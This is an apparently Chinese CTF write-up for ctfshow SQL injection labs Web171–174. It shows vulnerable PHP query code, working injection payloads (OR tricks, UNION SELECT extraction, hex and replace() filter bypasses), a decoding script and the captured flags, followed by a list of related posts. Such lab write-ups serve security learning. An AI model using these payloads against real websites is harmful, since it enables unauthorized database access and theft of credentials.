42022/4/24

SQL注入

Web171

语法:查询表中的数据

查询所有行

命令: select <字段1,字段2,...> from < 表名 > where < 条件>

例如:查看表 MyClass 中所有数据

mysql> select * from MyClass;查询语句

//拼接sql语句查找指定ID用户

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

select username,password from user where username !='flag' and id = ‘10000’;(输入一个很大的,表中没有的值或者-1) or id=’26’ limit 1;

Playload:

10000’ or id=’26

试了一下25不是,就试一下26

ctfshow{4d873b5b-6861-4d54-bed8-7e3b857d878a}

Web172

"select username,password from ctfshow_user2 where username !='flag' and id = '注入的地方' limit 1;";

这题是使用联合查询

select username,password from ctfshow_user2 where username !='flag' and id = '9999'union select id,password from ctfshow_user2 where username = 'flag';

虽然前面的语句查不到,但是联合查询是去并集的所以后面的语句查询得到,因为题目不允许username为flag,所以直接查id和password

Playload:

9999'union select id,password from ctfshow_user2 where username = 'flag

ctfshow{710c102e-edec-40df-b78e-2368eb478572} 

Web173

查询语句:

//拼接sql语句查找指定ID用户

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag

    if(!preg_match('/flag/i', json_encode($ret))){

      $ret['msg']='查询成功';

}

意思是结果不可以有flag

select id,username,password from ctfshow_user3 where id ='9999'union select id,hex(a.username),b.password from ctfshow_user3 as a where a.username='flag';

法1:用web172的方法

select id,username,password from ctfshow_user3 where username !='flag' and id = '9999'union select id,id,password from ctfshow_user2 where username = 'flag';

(注意因为此题目查询了三个列,我们联合查询也要查询3个列所以我写了两个id)

Playload:

9999'union select id,id,password from ctfshow_user3 where username = 'flag

法2:

用16进制编码username使用户名不出现flag

select id,username,password from ctfshow_user3 where id ='9999'union select id,hex(a.username),b.password from ctfshow_user3 as a where a.username='flag';

Playload:

9999'union select id,hex(a.username),a.password from ctfshow_user3 as a where a.username='flag

ctfshow{1e4e1030-87af-4a47-ae52-c1320628af06}

2022/4/26

Web174

返回值过滤了数字和flag

查询语句:

//拼接sql语句查找指定ID用户

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//检查结果是否有flag

if(!preg_match('/flag|[0-9]/i', json_encode($ret))){

$ret['msg']='查询成功';

}

Playload:

9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+

因为返回值过滤了数字和flag所以用别的字符替换掉数字然后再转换回去

替换回去的py脚本:

nb='ctfshow{nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbenbcnbanbcnbbnbfnbcnbfnbfnbfnbcnbcnbenbfnbfnbbDnbfnbanbfnbcnbcnbanbcnbhnbbDnbcnbdnbcnbbnbfnbanbcnbanbbDnbfnbbnbcnbgnbcnbcnbcnbcnbbDnbfnbdnbfnbbnbfnbcnbfnbbnbcnbdnbcnbfnbcnbjnbcnbanbcnbdnbcnbbnbfnbfnbcnbjnbgD}'
#nb表示number
nb=nb.replace('nba','1')
nb=nb.replace('nbb','2')
nb=nb.replace('nbc','3')
nb=nb.replace('nbd','4')
nb=nb.replace('nbe','5')
nb=nb.replace('nbf','6')
nb=nb.replace('nbg','7')
nb=nb.replace('nbh','8')
nb=nb.replace('nbi','9')
nb=nb.replace('nbj','0')
print(nb)

{63746673686F777B35313263666335662D616331382D343261312D623733332D6462636234363031343266307D}

再用16进制转字符串

ctfshow{512cfc5f-ac18-42a1-b733-dbcb460142f0} 

ctfshow SQL注入Web171-174相关推荐

  1. ctfshow sql注入 web171-web253 wp

    文章目录 参考文章 sql注入 web171 web172 web173 web174 web175 解法一 解法二 web176 web177 web178 web179 web180-web182 ...

  2. CTFshow sql注入 上篇(web171-220)

    目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...

  3. CTFshow sql注入 上篇(web221-253)

    ` 目录 前言 题目 web221(limit注入) web222(group by注入) web223(group by注入) web224(文件名注入) web225 (堆叠注入) 解法一(han ...

  4. CTFSHOW SQL注入篇(211-230)

    文章目录 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225-230 225 226 227 228|229|230 211 在上题 ...

  5. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  6. 【ctfshow】web篇-SQL注入 wp

    前言 记录web的题目wp,慢慢变强,铸剑. SQL注入 web171 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过 //拼接sql语句查找指定ID用户 $sql = "s ...

  7. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

  8. ctfshow web入门 sql注入

    无过滤注入 web171 查询语句 $sql = "select username,password from user where username !='flag' and id = ' ...

  9. JDBC SQl注入

    首先创建jdbc工具类 public class DBUtils {//静态加载static {try {Class.forName("com.mysql.jdbc.Driver" ...

最新文章

  1. nonatomic, retain,weak,strong用法详解
  2. python redis订阅_python实现 redis订阅与发布
  3. mdkstc系列器件支持包下载_Find X2系列 Android 11 Beta1 测试版发布
  4. boost::fibers模块实现multiple streams的测试程序
  5. python len函数_知识清单Python必备的69个函数,你掌握了吗?
  6. mysql manage keys_相传mysql 5.5 对于非聚集索引增删有很大的改善… 你信吗?
  7. 浅谈双线程dp (nyoj61 nyoj712)经典【传字条】和【探 寻 宝 藏】
  8. 【裴礼文数学分析】例1.2.4
  9. 快易省智:数据中心UPS四大演进方向
  10. 【基于物理的渲染(PBR)白皮书】(三) 迪士尼原则的BRDF与BSDF相关总结
  11. 会议室录播方案及录播设备推荐
  12. 小米电视怎么看cctv?安装电视家教你锁定2022世界杯“观赛位”
  13. Linux 普通用户和root用户任意切换
  14. java火车票售票系统_基于java的火车票售票系统,界面Swing
  15. 美国虚拟主机空间是什么以及具有哪些特点?
  16. Rust 引入其他的 rs 文件
  17. 1204big.th index.php,孟加拉 郵政編碼(郵遞區號)查詢 - 郵編庫(繁體)
  18. 互联网摸鱼日报(2022-10-24)
  19. 关于Could not find QtWebEngineProcess.exe 进程已结束,退出代码 -1073740791 (0xC0000409) 问题
  20. 【源码分析】Spring的循环依赖(setter注入、构造器注入、多例、AOP)

热门文章

  1. 数据结构 - 图的基本操作 深度和广度遍历
  2. 联想x3850x6从u盘引导_联想扬天T4900v进入bios中设置legacy和uefi两种引导模式U盘启动教程...
  3. CISSP 考试知识要点总结
  4. 【黑马程序员】hmb----实而不华
  5. 深入理解git内部原理
  6. 西门子1500数据块移动POKE_BLK指令
  7. 超猛tuntap虚拟网卡实现超猛UDP隧道
  8. 建一栋房子总共分几步?建造者模式告诉你答案~
  9. CSS开启硬件加速 hardware accelerated
  10. 与DB某学校的联zha考chuan(11.1)(鸽巢+乱搞+x^2的转化)